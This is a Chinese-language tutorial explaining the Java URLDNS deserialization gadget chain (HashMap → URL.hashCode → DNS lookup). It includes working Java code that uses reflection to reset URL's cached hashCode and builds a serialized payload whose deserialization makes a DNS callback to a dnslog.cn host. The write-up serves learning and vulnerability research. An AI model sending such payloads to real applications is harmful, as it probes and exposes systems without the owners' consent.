JAVA反序列化之反射+URLDNS链条

JAVA反序列化之反射+URLDNS链条

前言

首先,我们已经认识了什么是反射,简单的说就是动态的获取并构造出一个类对象,并可以执行类其中的方法

其实呢,这个URLDNS也是一个反序列化的链条,既然如此,那就符合我们构造反序列化链条的一般方法

URLDNS链条构造

入口

既然是反序列化,那第一步,就得看看,哪里作为入口类比较的合适了,入口类的条件:

第一:接受广泛的参数类型(人话就是最好接受其它类作为参数)

第二:可以反序列化

第三:必须重写readObject类

既然如此,那么我们第一个考虑的就是Map类中的HashMap类,我们去看看其中的readObjecth函数,做进一步的分析

1

我们观察一下这个readObject方法的最后一个循环函数,发现他会对我们传入的K和V进行反序列化,然后最重要的是,它调用了hash(key)这个方法,那这个方法是干啥的呢,我们在HashMap类中继续寻找一下

2

我们发现了这个静态方法,如果key不等于null,就会执行key中的hashCode方法,首先这个if条件,几乎等于没有条件,我们肯定是会传东西进去的,再者这个hashCode方法其实很玄妙的,不是这个函数有多厉害,而是这个函数很多类都有并且重写过,所以理论上,我们传入的类不同,就会执行不同类中的hashCode方法,这样就能创造无限的可能

执行类

那我们归根结底是找一个能够执行DNS解析的类,即使找到一个看起来靠谱的入口类,如果和DNS解析的类扯不上关系,也白搭,那JAVA中哪个类是支持DNS解析的呢

当然是我们的URL类,首先URL类继承了反序列化的接口,是可以实现反序列化的,满足了这个条件之后,我们发现,URL类也重写了hashCode方法,这就很好了,这意味着我们hashMap中传入的K只要是一个URL类对象,那么在反序列化时就会调用URL类中的hashCode方法,我们去看看这个函数如何执行的

3

但是此时我们看不到一点点执行DNS解析的迹象,只能看到这个hashCode方法里面,又调用了一个handler.hashCode(this),这个this不必多少,谁调用这个函数,谁就是this,在这里这个this就是URL类对象,那这个handler又是啥东西呢?

4

是一个其它的类,我们跟进去查看其中的hashCode方法

5

我们发现了这个类中的hashCode方法会调用getHostAddress函数,这个函数干啥的呢,其实就是解析域名的,到这里我们发现这条链是可行的,有的人可能会说这是保护方法,但是由于URL类中声明了handler这个成员变量,所以这里是可以做到访问其中的保护方法的,所以我们只能传入一个URL类对象,并将他作为key传入HashMap,这个问题就解决了,我们先按照分析构造payload

Payload初构造

1
2
3
4
5
6
7
8
9
10
public class Main {
public static void main(String[] args) throws MalformedURLException {

HashMap<URL,URL> map = new HashMap<>();

URL url = new URL("http://kn9ly2.dnslog.cn");
map.put(url,url);

}
}

但是,当我们如此构造好payload,准备对hashMap进行序列化时,我们发现此时,DNS已经解析了

6

这是为啥啊,问题肯定不是出在URL的构造函数上了,那就只能在map.put上,我们去看看map.put都干了什么

7

put函数调用了hash(key)函数,和该类反序列化里面一样的函数,怪不得会直接触发DNS的解析,这样会影响我们对漏洞是否执行的判断,更要命的是

3

这个URL类中的hashCode函数一旦执行,就会返回一个hashCode成员变量,这个变量在第一次调用的时候肯定是-1没错,但是当我们使用完map.put之后,这个值就就绝对不是-1了,那就坏大事了,当我们反序列化时,由于hashCode不是-1,所以链子就断了,执行不下去了

那我们如何才能构造好链子呢,只有一个办法,那就是利用反射,我们在使用hash.put函数前,将URL中的hashCode成员变量改成非-1的其它值,然后使用map.put函数传入URL类,然后在我们序列化map之前,再次利用反射将其改回-1

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class SerializeUtil {
// 序列化方法
public static void serialize(Object obj, String filename) throws Exception {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
oos.writeObject(obj);
}
}
// 新增反序列化方法
public static Object deserialize(String filename) throws Exception {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
return ois.readObject();
}
}
}

public class Main {
public static void main(String[] args) throws Exception {


HashMap<URL,URL> map = new HashMap<>();



URL url = new URL("http://bn0yvk.dnslog.cn");
Class u = url.getClass();
Field hash_code_field = u.getDeclaredField("hashCode");
hash_code_field.setAccessible(true);
hash_code_field.set(url,1);


map.put(url,url);
hash_code_field.set(url,-1);
SerializeUtil.serialize(map,"map.bin");
Object deserialize = SerializeUtil.deserialize("map.bin");

}
}

执行结果

8

结语

DNS这条链子没有什么异常的难点,适合在学了原生的反序列化后学习的一条链子,从中能更好的理解JAVA的反序列化和反射机制,加油,师傅们,共勉